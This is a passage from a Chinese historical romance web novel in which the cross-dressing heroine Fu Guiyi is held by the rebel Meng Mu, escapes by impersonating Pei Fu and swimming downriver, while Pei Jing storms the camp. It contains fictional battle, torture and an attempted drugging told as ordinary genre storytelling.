十年后,他成了南陵建国以来最年轻的状元,殿试当日见到了已经登基为帝的裴璟,当庭大惊。 后来,他钻研防洪技术,修建水利工程,南陵再没有遭受过毁灭性的巨大洪患。 裴璟叮嘱兄妹二人不要说见过他们。 他们两人以性命启示,离开前再度叩谢裴璟。 等送走兄妹二人,两人再度启程。 傅归荑问他:“你怎么知道他们的父母还健在?” 裴璟沉默了一下,回:“我不知道。” 傅归荑愕然。 裴璟:“但总要给他们留个念想。从这里到抚城可不是一段简单的路,他们可能遇上猛兽,可能迷路,身上也没有吃的,若是没有坚定的意志,是走不到的。” 傅归荑心口微震。 裴璟挑眉看向一言不发的身边人:“怎么,觉得我冷血无情,也不带他们一程?” 傅归荑摇摇头,“不,我觉得你做得很对。” 换作是她也不可能送两人离开。虽然现在没有被北蛮人发现,但只要一刻没有脱离险境,他们就有一分危险,带着他们两个孩子说不准反倒是祸事。 只不过裴璟没有说出后面的缘由。 “难得你赞同我?”裴璟心情似乎不错,眉眼舒展。 傅归荑小声道:“我什么时候反对过你。” 他推行的政令,苍云九州总是第一个响应。况且傅归荑自认为无论是他要的骑术,还是机关术,她都没有私藏。 她心里知道这些东西怀璧其罪,傅家本就没有争霸天下的心,何苦死死攥着这些在手里惹人眼红。 其实傅归荑去年对裴璟真的没有说谎,若是她成功在南陵找到哥哥,又没有被发现身份,她会无偿献上这两样东西。 可惜,人算不如天算。 裴璟笑出声,摸了摸傅归荑的后脑勺,目光温柔:“我知道,你一直都明白我的心。” 傅归荑冷冷打下他作乱的手,面无表情道:“不明白。” 裴璟失笑。 眼看马上就要走出断华峰,异变突生。 在前方有一群北蛮人拿刀守着,有数十人之多。 他们谨慎地往后退,谁料傅归荑不小心踩到一块淤泥摔倒了。 尽管她已经忍住不出声,可还是引起他们的注意。 两人借着茂密的树林躲躲藏藏,可对方人数太多,很快就能搜到他们的藏身之处。 更要命的是,他们听见后方不远处也传来不同寻常的响动。 裴璟把自己手里的匕首留给傅归荑,告诉她不要出声,等他引开北蛮人后自己去魏县,等他脱险后再去找她。 傅归荑拉住他的衣袖,皱着眉道:“不行,你一个人怎么打得过他们,还是躲起来等你的人来救我们。” 她心里忐忑不安,下意识阻止裴璟。 裴璟摸了摸她的脑袋:“现在前后都有追兵,躲不了多久。他们是冲我来的,看见我后自然不会来找你。你躲好,不然我们都要被抓。” 他小心掰开她的手指,在她脸上偷了个吻:“别担心,我水性很好,可以水遁逃走。” 傅归荑心口大恸,眼眶微湿。 裴璟离开的背影与当年的傅归宜莫名重合。 她的哥哥再也没能回来。 很快,远处传来呐喊声,紧接着是打斗声,慢慢朝河边方向去。 傅归荑的思绪急成一团错乱的线,她想不顾一切冲出去,又知道自己莽撞行事只会给裴璟增添不必要的麻烦。 她痛恨自己的无能为力,当年如此,现在亦是。 下唇几乎被她咬出血,指尖深陷掌心,痛楚提醒她一定要清醒,不可以冲动,然而心却难受得快要无法呼吸。 也许是老天听到她的祈求,有个落单的北蛮人从她眼前经过,他的手里拿着弓箭。 傅归荑仔细观察他的前后左右,确认没人后果断用最后一支袖箭杀了他。 夺走弓箭后她没有选择去河边找裴璟,她清楚自己几斤几两,贸然过去只会让裴璟束手束脚,成为她的累赘。 傅归荑环顾四周,发现了一处隐秘的高低,当下快步疾驰过去。 她从来没有跑过这么快,密林里生长的倒刺刺破衣衫,结结实实扎在小腿上。 傅归荑像没感觉到疼痛一样,一心只想往高处爬。 等她站在巨石上,恰好能看见河边打斗的一群人。 裴璟夺了一把刀拿在手里,面色阴冷地抵挡他们的攻击,然而北蛮人仗着人多势众,一点点包围他。 傅归荑注意到裴璟不自然的步伐,似乎像是哪里受了伤。 遭了,他腰上的伤口。 方才救那一对兄妹的时候他泡在污浊腥臭的河里,没有及时换药,此刻必定裂开了。 傅归荑暗骂自己大意,怎么忽略了这么重要的事情。 她当即引弓,单眼对准北蛮人的胸口,毫不犹豫地射了出去。 裴璟正准备跳河逃生,忽然一支箭羽从天而降,他面前那个正准备拿刀砍伤他的北蛮人应声倒地。 众人的目光都在寻找箭羽所来之处,北蛮人都在想弓箭手是不是射偏了。 裴璟眼尖,最先看见傅归荑站着的巨石。 他眼眸半眯,趁着其他人没反应过来,又杀了几个人。 决不能叫他们发现傅归荑,否则后果不堪设想。 北蛮人反应速度也很快,他们知道重点是眼前这个人,于是只分了两个人去找暗箭的位置。 傅归荑哪里会给他们这样的机会,两支箭羽同时射出,直插咽喉。 裴璟也抓住机会,奋力反抗。 两人配合默契,一个在高处放箭,一个近身补刀。 数十个北蛮人被他们合力杀了七七八八。 忽然,密林后方五十丈有动静,看样子来人不少。 裴璟和傅归荑的神色变得极为凝重,若再来这么多人,恐怕他们凶多吉少。 “总算找到你了。” 秦平归的皮质面具出现在两人视线中时,双方心里都松了口气。 傅归荑下意识去抽后背的箭筒,发现箭没有了。 正准备收回手,忽然手里被塞了一支箭。 她的身体瞬间绷直,喉咙动了动,没有回头。 “阿宜,我们又见面了。” 裴璟和秦平归很快杀干净剩下的北蛮人,他立刻仰头看向傅归荑的位置。 上面空无一人。 作者有话说: 裴璟:一直情商在线,之前只是没找对赛道。[冷漠.jpg] 第56章 威逼 晋江文学城独家发布 傅归荑不见了。 他们一路寻来都没有找到她的踪迹。 裴璟脸色铁青地站在傅归荑方才射箭的巨石上, 一旁的秦平归也绷直唇角不说话。 两个人周身都散发着骇人的寒意,周围的暗卫们个个低头含胸,尽可能降低存在感。 秦平归告诉裴璟, 从拱桥刺客嘴里套出的蒙穆藏身之所是假的,他带人过去的时候那处已经人去楼空。 于是他又顺着裴璟一路留下的记号追来, 恰好赶上裴璟被截杀的现场。 秦平归故作轻松道:“说不定她是自己走的, 与北蛮人无关。” 裴璟冷冷看了他一眼, 张开五指,掌心躺着一把弹弓:“这是她故意丢下的。” 秦平归在看见弹弓时心莫名被扎了一下, 伸手去拿,放在眼前仔细端详,喃喃自语道:“这是她自己做的?” 裴璟颔首。 这个与镇南王府枕头底下的弹弓制作方法一样。 秦平归心底生出一种烦躁, 很快又被着急替代。 他们刚刚过来的时候找到了被傅归荑杀死的北蛮人,用的是她贴身的袖箭。 也就是说, 傅归荑现在身上除了裴璟的匕首, 再没有任何防身之物。 而她近距离搏击的能力,秦平归只能用“有总比没有强”来形容。 若是她落在北蛮人手里, 他简直不敢想象会遭受什么样的痛苦, 更可怕的是, 如果他们发现她是女人…… 很明显,裴璟也想到了这一层,眸中骇厉的寒意几乎能把人冻僵。 裴璟眼神阴鸷:“拿地图来。另外让人包围段华峰的每一个出入口,一只鸟也不许放出去。” 秦平归一同看向地图, 藏在面具下的脸眉头紧皱,心里产生一种奇怪的恐慌, 右手紧紧握住短刀的刀柄, 颤抖不止。 “这里, 这里,还有这里。我们分批带人过去看,不惜一切代价营救她,阻拦者格杀勿论!”裴璟结合傅归荑与他说的断华峰情况,选出了三处隐匿之地。 蒙穆这次带的人手不少,恐怕是他们全部的剩余力量。若是要藏匿这么一大批人马,小型山洞肯定不行,他们一定会选择隐蔽山谷,洼地,或者密林深处。 还要有水源。 断华峰实际上是几座山峰连在一起的小型山脉,最右边的山峰只有一半,像被人用剑从中间劈开,形成一处断崖,顾名断华峰。 某个山坳处,傅归荑被蒙穆强行“请”了回来。 用请是因为他从头到尾都对自己堪称以礼相待,除了不让她离开。 “阿宜,你的腿受伤了,换件衣服罢。” 蒙穆叫人拿了套北蛮的衣服给傅归荑。 她本想拒绝,可一看周围守着的北蛮人个个凶神恶煞,目露寒光,便止住了话音。 拿着衣服的人满脸横肉,递给她的时候双手要朝她的身上摸。 “放肆!”傅归荑侧身躲开他,厉声呵斥:“谁允许你碰我!” 那人趾高气扬道:“例行搜身!” 傅归荑冷眼看向蒙穆,“你要搜我的身?” 蒙穆笑了笑,“阿宜,你别误会,他们只是担心利器伤人伤己,检查一下罢了。” 傅归荑冷着脸脱下手里的袖箭,又把裴璟留给她的匕首扔到地上。 “我身上就这两样东西,如果你还不信,你亲自来搜。” 蒙穆瞧傅归荑连袖箭都交了出来,便不再为难,眼神示意把东西送过去。 傅归荑拿起衣服,恼怒地往房间里走。 砰地一声大力甩门,震得外面的人都愣了片刻。 镇南王世子长得清秀俊美,气性倒是不小。 关上门后,傅归荑靠在门框上,长舒一口气。 好险,差一点就露馅了。 她谨慎地检查了房内是否有人,又检查门窗是否有漏洞,确认无碍后迅速换好衣衫。 小腿上的血迹凝固在裤子上,扯下来的时候疼得她汗流浃背,脸色发白。 她咬住下唇,给自己上药。 傍晚,蒙穆再一次游说她加入北蛮,一起对抗裴璟,对抗南陵。 傅归荑摇头,凝视着面前燃烧的篝火,淡淡道:“哈穆,你为什么要执着于复国,还要再度挑起天下战乱。” 她一直不肯用蒙穆来称呼昔日的友人,希望他能认清北蛮已灭的事实,他也不是北蛮皇族,只是那个从前与她一起纵马饮酒的少年。 蒙穆早就被北蛮那群逃出来的大臣们彻底洗脑,他一心觉得裴璟是侵略北蛮的刽子手,是他们所有北蛮人的仇人。 而他是北蛮皇族最后的希望,肩负一国的兴衰。 蒙穆冷冷道:“阿宜,我现在叫蒙穆。只要我在,北蛮就没有亡。” 傅归荑叹了口气,有种深深的无力感:“你清醒一点。北蛮已经亡了,是自取灭亡。你难道忘了他们从前是如何对你的吗?又忘记那些被屠杀的小部落死得有多惨,百里、腾蛇、蚩丹,他们哪一个不是死于北蛮人的暴行。” 蒙穆默了默,没有回答傅归荑的问题,反问道:“阿宜,你那么信任裴璟?据我所知,他重组的追云骑好像有傅家的影子,包括他们新换的武器,好像是你从前跟我提过的连弩。” “可以告诉我,我哪里不如他,你为什么选裴璟?” 最后的一句话,蒙穆几乎是咬牙切齿说出来的,尤其是裴璟的名字。 傅归荑听出一种啖其肉,食其血的味道。 “我早就说过,不是我选择了裴璟,是时代选择了他。”傅归荑念及从前的情谊,还想再劝他一次。 “哈穆,你现在收手,我一定会想办法保你性命。” 蒙穆没有说话,手里拿着一根枯枝在戳底部的火星,枝头没一会就燃烧起来。 他举起来,放到傅归荑眼前。 傅归荑的脸被火光灼烧了一下,本能地向后仰。 “阿宜,你告诉我,火已经烧起来了,怎么熄灭。” 他这问题奇怪。 傅归荑还是皱着眉答:“你把它扔地上,再踩两脚,就灭了。” 蒙穆哈哈大笑,照做后果然灭了,只不过枝头已经被烈焰烧成焦炭,再也没办法恢复成原样。 “阿宜,你看要熄灭火,需要丢在地上狠狠地踩才行。”蒙穆的语气陡然变得阴冷:“从前裴璟被北蛮皇族凌虐的事情你应当有所耳闻,他用北蛮皇族一千三百九十二口人的血才熄灭他心里的火。” “我就像这根枯枝一样,已经燃起来了,我不想被灭,更不想被他踩!” 傅归荑听懂了他的言外之意,深吸一口气,不可置信看向他:“你到底还做了什么事?” 蒙穆站起身,居高临下地俯视傅归荑,忽而冷笑了声。 “带人上来。” 傅归荑看见裴瑜被五花大绑地押上来,他的眼睛被蒙住,嘴里堵着一块看不清颜色的脏布。 蒙穆叫人扯开眼睛上的布条和口中的布。 裴瑜看到傅归荑的第一眼就骂她:“傅归宜,你跟他们果然有勾结,我要将此事告诉太子殿下,治你的罪。” 傅归荑忽然觉得头有些痛,低下头揉了揉脑袋。 真是龙生九子各有不同,裴瑜真是蠢到家,这种时候还一开口就威胁她。 蒙穆笑道:“阿宜,我没有退路了,你也没有。” 傅归荑身形微顿:“什么意思。” 蒙穆在地上扔了一把匕首,居高临下地望着傅归荑,漠然道:“阿宜,你去杀了他,我保证你的生命安全,我们从此荣辱与共。” “你疯了?!”傅归荑眼眶微张。 蒙穆蹲下身捡起匕首,放到她胸前,视线与傅归荑平齐,眸底幽深藏了几分扭曲的疯狂:“杀了他,阿宜,我们还和以前一样好。” 傅归荑打掉他的手,“你真的无药可救了。” 蒙穆想让自己去屠戮南陵皇族,犯下不可饶恕的罪责。 他简直丧心病狂。 “阿宜,难道你真的一点也不顾念我们的旧情吗?”蒙穆声音有些颤抖,旁人看去还有些可怜。 “是你不顾念旧情。”傅归荑声音冷静:“蒙穆,我再给你最后一次机会。只要你现在放我们走,再解散这些北蛮人,我以人格发誓,在裴璟面前力保你和你手下人的性命。” “阿宜,你好大的面子。”蒙穆面色狰狞,“看来他们说的都是真的,裴璟待你不同寻常,恩宠隆重,连北蛮皇族人的命你都敢夸下海口,说保就保。” 裴璟下过死令:屠尽北蛮皇族,一个活口不留。 当时也曾有人提出过异议,提出不如扶植一个北蛮皇族当傀儡,能更快地稳定北蛮局势,尤其是那些顽固份子,可以让他们投鼠忌器。 裴璟当场否决,雷霆震怒。 他直言南陵不需要国中国,更不需要傀儡,谁敢再为北蛮皇族求情,杀无赦。 傅归荑觉得自己尽力了,疲惫道:“其他的你不用管,只……” “够了!”蒙穆打断傅归荑:“阿宜,我再给你一晚上时间考虑。” 傅归荑双拳紧握,阴沉着脸一言不发地起身离开。 蒙穆也一动不动,直到傅归荑的身影完全消失。 一旁的裴瑜还在无能狂吼,蒙穆被他吵得额头青筋突突地跳,手里提着匕首朝他走去。 “你们这群背信弃义的狗东西,我已经帮你们……你、你想干什么!”裴瑜见蒙穆眼神阴戾的站在自己前面,抬手举起匕首。 “你敢……啊!”下一刻,他的右肩被扎穿,痛得他冷汗直流。 蒙穆问:“谁伤的你?” 裴瑜急促喘息着,声音断断续续,有气无力:“你……啊!” 蒙穆往深处戳了一下,冷淡道:“不对,是傅归宜伤的你。” 他的眼神透着择人而噬的凶光,裴瑜十分没骨气地顺着他道:“是,傅归宜伤的我。” 蒙穆忽然笑了一下,笑容令人战栗:“答得好,记住这个答案。” 说完拔出匕首,削掉他的小拇指,又问:“谁伤的你?” 裴瑜颤抖着唇说出傅归宜的名字。 蒙穆满意地点点头,再削三指,每一次都会问他这个问题。 直到裴璟痛得意识模糊,嘴里只会念“傅归宜”这三个字才作罢,他冷漠地命令人给他上药,保证人死不了就成。 傅归荑回到房间,眉头紧皱在房里来回踱步。 看蒙穆的架势,是一定要逼自己站队。若明天她不表态,不,应该是不站在他那一边,还不知道会怎么对付自己。 杀了她倒不至于,用她威胁父亲的可能性更大。 要不她假装答应? 不,她无论是真心还是假意答应,蒙穆势必会让自己杀了裴瑜来表决心。 她虽然讨厌裴瑜这个狂妄自大,目中无人的蠢货,但还不至于想要他死。 傅归荑心中疑惑,裴瑜不是被裴璟禁足三月,他是怎么被抓到这里来的。 她不信北蛮人敢从皇宫将人掳走,更不信他们能有这个本事潜入皇宫,再通过层层密不透风的巡逻护卫、守门士兵和暗卫,成功把人带出来。 毕竟,她曾经也想过要如何躲过所有的监视和巡查,顺利出宫。 答案是不可能。 裴璟心思缜密,每个月都会改变巡逻路线和暗卫布防地点,她观察了整整九个月都没找出确切的规律,她不信有人可以绕开防护逃出去。 咚咚咚。 门外有人敲门。 傅归荑顿住脚步,谨慎地问:“是谁?” “傅世子,是奴家。”裴芙娇软妩媚的声音从门外响起。 她怎么在这里? 傅归荑垂下眸,沉思片刻,走过去打开门。 “原来是裴小姐,你怎么在这里?”她装作好奇地问。 裴芙梳了个单螺髻,身穿一件水红色的抹胸襦裙,浅蓝色的细带勾勒出妖娆细腰,生姿婀娜,举手投足间尽显女人妩媚。 “傅世子,好久不见,奴家想你得紧。”她说着想要靠上来,傅归荑一脸惊慌,连连后退。 “姑娘请自重!”傅归荑声音有些气急败坏。 裴芙见状,嘴角勾起一抹得逞的笑,大大方方走进她的房间。 砰地一下,她用脚把门踢上。 “傅世子,奴家心悦你。”裴芙笑得花枝乱颤:“你现在身体是不是感觉有些燥热,今晚上你喝的酒和那日在睿王府的,是一样的呢?” 傅归荑登时捂住胸口,喘着粗气,身体倒在最近的扶椅上,五指用力握住扶手,指节发白。 “你对我做了什么?”她怒目而视,低吼道:“裴芙,你怎么……如此卑劣!” “不要做无畏的挣扎了,”裴芙靠近傅归荑,弯下腰,手指抵在她的腰带上:“跟我们一起推翻裴璟,到时候你就是一字齐肩王,我做你的王妃,你可要好好待我?” 说道最后,她的双唇往傅归荑的嘴上凑。 裴芙身上的香气让傅归荑很不舒服,她偏过脸躲开这个吻,裴芙的唇擦在她的鬓角上。 “这就是你背叛南陵的原因?”傅归荑声音有些冷。 裴瑜定是被裴芙骗来的。 虽然不知道用了什么方法,但她直觉跟眼前的女人脱不了关系。 “背叛?”裴芙面容扭曲地尖笑着,声音凄厉:“我从来没有忠于南陵过,我只忠于我自己。” 下一刻,她又变回柔情似水的小家碧玉,轻声道:“我的父亲睿王,他快要死了。就算他没死,裴璟也不会再让他东山再起。” 裴芙的面容没有丝毫悲伤,“但我不能就这样束手就擒,等父亲一死,裴璟一定会让我病逝,理由就是思父成疾,哈哈哈……” “我不要死,我要做人上人。”裴芙趴在傅归荑身上,手背抚摸着她的脸,似哀求似诱哄:“傅世子,你成全芙儿,好不好?” 傅归荑嫌恶地想推开她,却发现自己使不上力气。 “别白费功夫了,”裴芙从傅归荑身上起来,开始脱衣服:“裴璟很讨厌我,如果我们有了夫妻之实,你说他还会信任你吗?” 傅归荑冷笑着笃定道:“他会的。” 话音刚落,傅归荑当机立断以手做刃,趁着裴芙低头解绳带的瞬间,暴起打在她的侧后颈。 没等她出声,傅归荑的另一手死死捂住她的嘴。 等把人放倒后,她继续接着脱裴芙的衣服,嘴里不时地还发出些令人浮想联翩的低喘和抽泣。 傅归荑恨恨地想。 托裴璟的福,她现在对这种令人难堪的声音张口即来,比之前的伪装技术好上不少。 果然,外面蹲着听墙角的人听见动静后面红耳赤地离开了。 傅归荑迅速换好裴芙的衣服,把藏在靴里的垫子取下,又把裴芙放在床上,半拉上床帐。 她正好不知道怎么破局,裴芙这时候送上门正是刚刚好。 方才她假意装作受到惊吓,放裴芙进来。 而后听见她说给自己下来之前在睿王府的药,傅归荑立刻装作中计,降低裴芙的戒心,更是为了让守在门外的人放松警惕。 再加上一出好戏。 这时候,她不得不佩服裴璟的算无遗策和小心谨慎。 临出行前,他拿了一大堆的药丸逼自己吃下去,什么防止醉酒的,提防迷药的,还有预防助兴药的,林林总总有七八样。 当时她还讥讽裴璟,这些乱七八糟的东西她怎么可能接触,除非是他给自己下药。 裴璟一意孤行,非逼她吃完。 吃一次还不够,到了抚城,又让她吃了一次。 每次药效时间不等,而抵御这类催//情的解药时效最长,约莫有十天之久。 今天恰好是第八天。 傅归荑换好衣服后,将头发草草抓成单螺髻,又故意散开一些鬓发挡住脸,看样子十分像经历过一场激烈异常的情/事。 做好这些后,她等了片刻,又开始第二轮的叫唤。 来来回回折腾了四五次,傅归荑学得嗓子都哑了。 她从刚开始难为情的羞赧,到最后面色冷淡用低吟婉转的嗓音叫着“不要了”、“我受不住”、“绕了我罢”等各种害羞的话。 傅归荑在内心默默检讨自己,她怎么说的这么顺嘴。 子时三刻,裴芙进来已经两个半时辰了。 傅归荑凝神听外面的动静,又用手指在窗户纸上戳了个洞,看见她房间外零星地守了几个人,他们背对着自己,后背微蜷,是疲惫松懈之态。 她深吸一口气,猛然打开门。 听见响动,那几个人立刻回头。 今夜乌云厚重,月亮被藏得严严实实。 傅归荑微低下头,露出小半张脸,娇喝道:“看什么!” 裴芙进来时,她注意到守在周围的北蛮人对她还算恭敬客气,猜想裴芙在这里的地位并不低,因此她放弃装成忸怩羞涩的模样,转而模仿骄横任性。 她的嗓子微哑,一听就是叫太久的缘故。 那几个人不约而同地低下头,心想弄了这么久居然还能起来,难怪这女人能得到主人的赏识。 反倒是在心里鄙夷傅归荑,他们本就有些看不上这个面若好女的男人,这下子更是将他踩在脚下。 连个女人都不如,主子到底看上他哪一点。 傅归荑没有纠缠,脚步匆匆往后山走。 刚走两步,后面的人叫住了她:“裴小姐,你去哪,你的房间在那边?” 傅归荑心里一紧,抓住衣裙的手骤然发力,掌心迅速沁出一层薄薄的汗。 她若无其事地侧头道:“我去洗个澡。” 那人似乎起疑了,“这么晚,你要去河边洗?” 傅归荑之前在附近转了一圈,发现这处是一个山坳,三面环山,一面临河。 蒙穆派人守在三个高地上,既能监视内部,又能警戒外敌,堪称是个密不透风的铁桶。 河边偶尔有巡逻的人,但是不多,因为此处水流湍急,他们所处地势又高,敌人想要逆流而上偷袭十分困难。 傅归荑跺跺脚,带点刁蛮又带点羞恼道:“身体难受,现在不好叫人烧热水,随便洗洗便是。” 北蛮人还在诧异什么时候这位主变得这样体贴人,要知道当初她来的时候可是非绫罗绸缎不穿,非美味珍馐不食,阵仗弄得跟一国之母似的。 傅归荑见他们不再出声阻止,脚下生风,三两下消失在黑夜里。 北蛮人等她走后,悄悄推开门往里头看,发现“傅归宜”躺在床上,一动也不动便放心地退了出去。 谁能想到,镇南王世子是个女人。 傅归荑时刻注意后面的情况,发现没人跟上来后立刻撒丫子狂奔。 快点,再快点,否则被人发现就没有机会逃走了。 她一路无惊无险地走到河边,河面漆黑看不清方向,潺潺的流水声叮当作响,偶尔有风吹起的水浪激荡着岸边的圆石。 傅归荑将头发拢起束在一起,方便下水。 “你是谁?”有个人朝她走来。 傅归荑冷静道:“我是裴芙,睡不着来河边走走。” 那个人的脚步迟疑片刻,又向傅归荑走来。 这一刻,周围有种诡秘的安静,越来越近的脚步声和自己剧烈的心跳声无限在傅归荑耳边放大。 男人在她身前三步站定,忽然乌云散去,明亮的月光照在傅归荑的脸上。 “你不……呃!” 傅归荑当机立断用裴璟教她的三招防身术打晕了对方,为了以防万一,她又在后脑上补了几下,确保人不会在短时间内清醒。 事不宜迟,她立刻下水。 冰冷的河水让她忍不住打了个寒颤。 缓缓走到河中央,直到脚触不到底后全身浮了起来,缓缓朝着前方游。 蒙穆忽然眼皮一跳,自从裴芙进了傅归荑的房间后他开始心神不宁的。 一边期待裴芙成功,一边又烦闷他们二人即将做成的事。 在他看来,裴芙这个人虚荣心极强,好高骛远。 若不是看在她把裴瑜骗了出来,有几分蛊惑人的本事,又通过裴瑜拿到裴璟这次的治理水患安排,他早将人杀了。 然而,在蒙穆心里,裴芙是配不上傅归宜的。 在他纠结烦闷时,裴璟和秦平归趁着夜色,悄悄带着人围了上来。 作者有话说: 裴璟:作者你是一点不给我英雄救美的机会。 傅归荑:不需要,准备溜回家了。 第57章 潜逃 晋江文学城独家发布 “他怎么可能跑得掉?”蒙穆坐在傅归荑的房间里大发雷霆, 裴芙已经被他叫人用冷水泼醒,他阴沉着脸问:“你不是说你的药万无一失?” 秋日的夜晚,凉风一吹, 裴芙湿透的衣领像一块冰渣子似的,冻得她遍体生寒。 她哭得梨花带雨:“我也、我也不知道他怎么没中招?” 裴芙跪坐在地上, 心里害怕极了。 她不但没能成功把镇南王世子拖下水, 反而让人趁机溜走, 蒙穆说不定会杀了她。 裴芙泪流满面地膝行至蒙穆脚下,伸手去扯他的衣摆, 却抓了个空。 她的心也像坠入无底深渊,恐慌不已。 蒙穆手扶住案几边缘,指节发白, 怒喝道:“还没有找到人吗?” 外面急匆匆走来个人,跪在蒙穆面前, 没什么底气道:“都搜过了, 屋子里没人。问过放哨的兄弟们,他们也没看到人过去。” 那人忽而想到:“也许是从河边离开的, 守在门口的人不是说他要去洗澡吗?” 镇南王世子真是能屈能伸, 为了逃出去不惜男扮女装。 也怪他那张脸确实雌雄莫辩, 任谁看了也不会觉得突兀,说不准他女装的样子比眼前这个号称南陵第一美人的裴芙更胜一筹。 “不可能。”蒙穆握拳重重砸向案几,闷响震得茶盏颤抖着:“阿宜不仅不会水,还畏水。他不可能泅水遁逃, 他一定是故意打晕守在河边的巡逻,让我们误以为他从水里跑了。现在他肯定还藏在某个角落……” 阿宜肯定不知道, 他有意掩饰的弱点会被自己看出来。 “再搜, 掘地三尺也要找出来。” “是!” 跪在地上的人起身往外走, 刚走出门口没两步,大惊失色道:“你们是什么人?!” 裴璟和秦平归以最快的速度排查完其余两处,都扑了个空,反倒是最后一处传讯回来,禀告发现有一群人的生活痕迹。 他们带齐所有人马悄悄把这处山坳围了个水泄不通,天上飞的鸟进出都要经过裴璟的同意。 他没有打草惊蛇,先带人潜入寻找傅归荑,找了一圈也没找到。 裴璟心里急得上火,抓了个舌头来。 一番审问后确定傅归荑就在这里,还得知她今晚与裴芙睡在一起。 裴璟与秦平归对视一眼,均在对方的眼中看到了凝重,还有一丝深藏的惊慌。 听俘虏的口气,蒙穆似乎是想拉傅归荑下水,与他同流合污。 若是傅归荑被发现是女人,他们简直不敢想象会发生什么事情。 裴璟胸腔内忽而烧起熊熊烈火,忽而凝成千年寒冰,十指被他攥得嘎吱作响,在寂静的黑夜里格外瘆人。 他发誓,若是蒙穆敢碰傅归荑一根汗毛,他定会将他碎尸万段,凌迟处死。 裴璟当机立断,带了一批人包围傅归荑所在的房间。 他一眼就看见蒙穆大刀阔斧的坐在上首,旁边有个衣衫不整,头发散乱,她伏跪在蒙穆脚下,瑟缩着身体,后脊起伏不定,抽泣声细弱不连贯。 裴璟觉得他此生都没有这么愤怒过,心像是被万箭穿心而过。 那一瞬间,他所有的理智都被烧得干干净净,脑子里只剩一个念头。 他要蒙穆死。 等他闯进来后才发现,那个趴在地上哭的女人是裴芙。 须臾之间,裴璟冷得僵硬成石的手脚四肢方才找回一点知觉,停摆的心重新开始跳动。 幸好不是她。 裴璟并不在意傅归荑是否失去贞洁,他怕的是傅归荑从此留下阴影。 北蛮人的暴虐臭名昭著,他怕她受到伤害。 很快,双方发生了激烈的打斗。 在这个过程中,裴璟这方占据碾压的优势,他特地从最近的军备库调来一批新制的连弩,人手一把,势必要在断华山将剩余北蛮余孽清剿。 北蛮人唯一的优势就是人高马大,力气超群,只要没射中他们的要害,他们几乎不会放弃战斗。 暴力几乎刻进了他们的灵魂。 最终,蒙穆退到一处遮蔽物后面,并威胁裴璟若是敢轻举妄动,他就杀了裴瑜和裴芙。 蒙穆狮子大开口:“只要南陵太子你愿意以苍云九州为界,割让以北的所有领土,我就把这两个人放了。” 裴瑜为了保命,告诉蒙穆他对于裴璟的重要性,只要用他威胁裴璟,裴璟会答应任何条件。 裴璟冷眼看着无精打采,备受折磨的裴瑜还有满脸泪水,哭哭啼啼的裴芙,心里没有一点感觉。 “傅归宜在哪里?”裴璟懒得理蒙穆的白日梦话,冷声道:“把他交出来,我可以留你全尸。” 蒙穆哈哈大笑:“阿宜他回苍云九州搬救兵了,我们已经达成联盟,你敢杀我,他不会放过你的。” 裴璟才不信他的鬼话,直接朝蒙穆射了一箭,插在他的脚下。 “我再给你一次机会,她在哪?” 蒙穆喘着气:“你不信,他已经跟裴芙,你的好妹妹有了夫妻之实,说不定她现在已经怀了阿宜的孩子,你觉得他会放过害死他妻儿的仇人么?” 夫妻之实。 裴璟与秦平归不动声色交换了一个眼神,眼眸中的紧张微微放松。 傅归荑不在这里,更没有暴露身份。 否则蒙穆不会说出裴芙怀了傅归荑孩子。 她一定是自己逃走了,或者躲在哪个地方。 裴璟心里有了底,知道傅归荑不在蒙穆手里,不再束手束脚,抬手准备让人放箭。 他不要抓活口,他要这里所有人的命。 裴瑜被疼痛折磨着,看见裴璟的手势立即知道他这是准备直接全灭,求生的欲望迫使他爆发出凄厉的叫喊声。 “太子哥哥,我是裴瑜,求求你救救我。” 裴璟的手顿了一下,眉毛轻拧。 裴瑜痛哭流涕:“太子哥哥,我是南陵皇子,我母妃对你有恩,你不能这么对我……” 裴璟双眸微沉,泛着寒凉:“你还好意思自称南陵皇子,若不是你好大喜功,贪生怕死,怎么会给北蛮人安插人手混进治水队伍里。” 他已经查出来是裴瑜利用自己的皇子身份,帮助北蛮人拿到南陵户籍,才有后面拱桥刺杀的突发事变。 “我也是没有办法,都是裴芙的错……”裴瑜像找到了什么借口,疯狂指责裴芙:“是她,是她鬼迷心窍,我只是……不懂事。“ 他伸出自己被削掉五指的手,下意识道:“我的手被傅归宜砍成这样了,太子哥哥,你要为我报仇,杀了他,杀了蒙穆。” 裴璟忍无可忍,怒喝道:“闭嘴!” 蒙穆见裴璟对裴瑜果然手下留情,勒令属下用刀架在裴瑜的脖子上,再次出声威胁裴璟割地换人。 裴璟嗤笑一声:“莫说你今日抓的是个没用的废物 ,就算你今日抓的是孤,南陵也决不可能割让一寸土地给任何人。” 最后一个字的尾音陡然下沉,他握住连弩的手猛地抬起,砰砰砰连射十余发,将裴瑜亲手射成刺猬。 只有他杀了裴瑜,其他人才不会投鼠忌器。 这一次,他决不允许任何一个北蛮反贼从他手里逃走。 “给孤射!” 漫天的箭羽从四面八法冲向蒙穆等人,兵器打击声,痛苦嘶叫声,还有女人的哭声。 有人想不顾一切冲过来与裴璟等人同归于尽,还没走到他们跟前,被秦平归射中咽喉,应声倒地。 第二次战斗结束得猝不及防。 裴璟命令人去打扫战场,还活着的带走,死了的就地掩埋。 他匆匆走到河边,这里找到个被打晕的人。他被人故意用枯叶枯枝藏起来,又放到阴影处,一时间没人发现他。 裴璟审完,心里的石头终于落地,心绪起落过大,他骤然两眼一黑,身形微晃,秦平归及时扶住他。 秦平归调侃道:“瞧你刚才那副自信的样子,我还以为你已经笃定她逃走了。” 裴璟假咳一声,掩盖住慌乱,淡淡道:“猜测是一回事,证实是另一回事。” 秦平归笑他,“原来你方才一直是在强撑。” 裴璟怒斥:“你放肆。” 秦平归才不怕他,他慢慢踱步到水边,判断河流的深浅和流动情况。 “喂,她真的会水吗?”秦平归问出萦绕在心里的疑惑。 裴璟瞟了他一眼,“当然会,而且技术还不错。” 裴璟此时无比庆幸地逼着傅归荑学会凫水,更庆幸她那套防身术学得不错。 这两样但凡有一样出错,今日她都无法逃出生天。 秦平归没什么情绪地哦了一声,心里却有种说不出的奇怪。 她怎么会凫水? 他又为什么觉得她不会? 裴璟安排好剩下的事情,马不停蹄去找傅归荑。 他和秦平归沿着河一路往下追踪,到一个岔路后分头行动。 秦平归去往黎县,裴璟去魏县找。 两人约定,找到人后以烟花作为信号弹。 * 傅归荑沿河顺流而下,水势很急,很快离开了蒙穆的势力范围。 